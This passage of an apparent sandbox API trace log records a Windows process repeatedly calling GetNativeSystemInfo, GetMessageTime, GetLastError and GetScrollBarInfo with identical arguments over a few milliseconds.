dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.923] GetMessageTime () returned 0 [0056.923] GetLastError () returned 0x578 [0056.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.923] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.923] GetMessageTime () returned 0 [0056.923] GetLastError () returned 0x578 [0056.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.923] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.923] GetMessageTime () returned 0 [0056.923] GetLastError () returned 0x578 [0056.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.923] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.923] GetMessageTime () returned 0 [0056.923] GetLastError () returned 0x578 [0056.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.923] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.923] GetMessageTime () returned 0 [0056.923] GetLastError () returned 0x578 [0056.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.923] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.924] GetMessageTime () returned 0 [0056.924] GetLastError () returned 0x578 [0056.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.924] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.924] GetMessageTime () returned 0 [0056.924] GetLastError () returned 0x578 [0056.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.924] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.924] GetMessageTime () returned 0 [0056.924] GetLastError () returned 0x578 [0056.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.924] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.924] GetMessageTime () returned 0 [0056.924] GetLastError () returned 0x578 [0056.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.924] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.924] GetMessageTime () returned 0 [0056.924] GetLastError () returned 0x578 [0056.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.924] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.924] GetMessageTime () returned 0 [0056.924] GetLastError () returned 0x578 [0056.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.924] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.925] GetMessageTime () returned 0 [0056.925] GetLastError () returned 0x578 [0056.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.925] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.925] GetMessageTime () returned 0 [0056.925] GetLastError () returned 0x578 [0056.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.925] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.925] GetMessageTime () returned 0 [0056.925] GetLastError () returned 0x578 [0056.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.925] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.925] GetMessageTime () returned 0 [0056.925] GetLastError () returned 0x578 [0056.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.925] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.925] GetMessageTime () returned 0 [0056.925] GetLastError () returned 0x578 [0056.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.925] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.925] GetMessageTime () returned 0 [0056.925] GetLastError () returned 0x578 [0056.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.925] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.926] GetMessageTime () returned 0 [0056.926] GetLastError () returned 0x578 [0056.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.926] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.926] GetMessageTime () returned 0 [0056.926] GetLastError () returned 0x578 [0056.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.926] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.926] GetMessageTime () returned 0 [0056.926] GetLastError () returned 0x578 [0056.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.926] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.926] GetMessageTime () returned 0 [0056.926] GetLastError () returned 0x578 [0056.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.926] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.926] GetMessageTime () returned 0 [0056.926] GetLastError () returned 0x578 [0056.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.926] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.926] GetMessageTime () returned 0 [0056.926] GetLastError () returned 0x578 [0056.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.926] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.927] GetMessageTime () returned 0 [0056.927] GetLastError () returned 0x578 [0056.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.927] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.927] GetMessageTime () returned 0 [0056.927] GetLastError () returned 0x578 [0056.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.927] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.927] GetMessageTime () returned 0 [0056.927] GetLastError () returned 0x578 [0056.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.927] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.927] GetMessageTime () returned 0 [0056.927] GetLastError () returned 0x578 [0056.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.927] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.927] GetMessageTime () returned 0 [0056.927] GetLastError () returned 0x578 [0056.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.927] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.927] GetMessageTime () returned 0 [0056.927] GetLastError () returned 0x578 [0056.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.927] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.928] GetMessageTime () returned 0 [0056.928] GetLastError () returned 0x578 [0056.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.928] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.928] GetMessageTime () returned 0 [0056.928] GetLastError () returned 0x578 [0056.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.928] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.928] GetMessageTime () returned 0 [0056.928] GetLastError () returned 0x578 [0056.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.928] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.928] GetMessageTime () returned 0 [0056.928] GetLastError () returned 0x578 [0056.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.928] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.928] GetMessageTime () returned 0 [0056.928] GetLastError () returned 0x578 [0056.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.928] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.928] GetMessageTime () returned 0 [0056.928] GetLastError () returned 0x578 [0056.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.928] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.928] GetMessageTime () returned 0 [0056.929] GetLastError () returned 0x578 [0056.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.929] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.929] GetMessageTime () returned 0 [0056.929] GetLastError () returned 0x578 [0056.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.929] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.929] GetMessageTime () returned 0 [0056.929] GetLastError () returned 0x578 [0056.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.929] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.929] GetMessageTime () returned 0 [0056.929] GetLastError () returned 0x578 [0056.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.929] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.929] GetMessageTime () returned 0 [0056.929] GetLastError () returned 0x578 [0056.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.929] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.929] GetMessageTime () returned 0 [0056.929] GetLastError () returned 0x578 [0056.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.929] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.930] GetMessageTime () returned 0 [0056.930] GetLastError () returned 0x578 [0056.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.930] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.930] GetMessageTime () returned 0 [0056.930] GetLastError () returned 0x578 [0056.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.930] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.930] GetMessageTime () returned 0 [0056.930] GetLastError () returned 0x578 [0056.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.930] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.930] GetMessageTime () returned 0 [0056.930] GetLastError () returned 0x578 [0056.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.930] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.930] GetMessageTime () returned 0 [0056.930] GetLastError () returned 0x578 [0056.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.930] 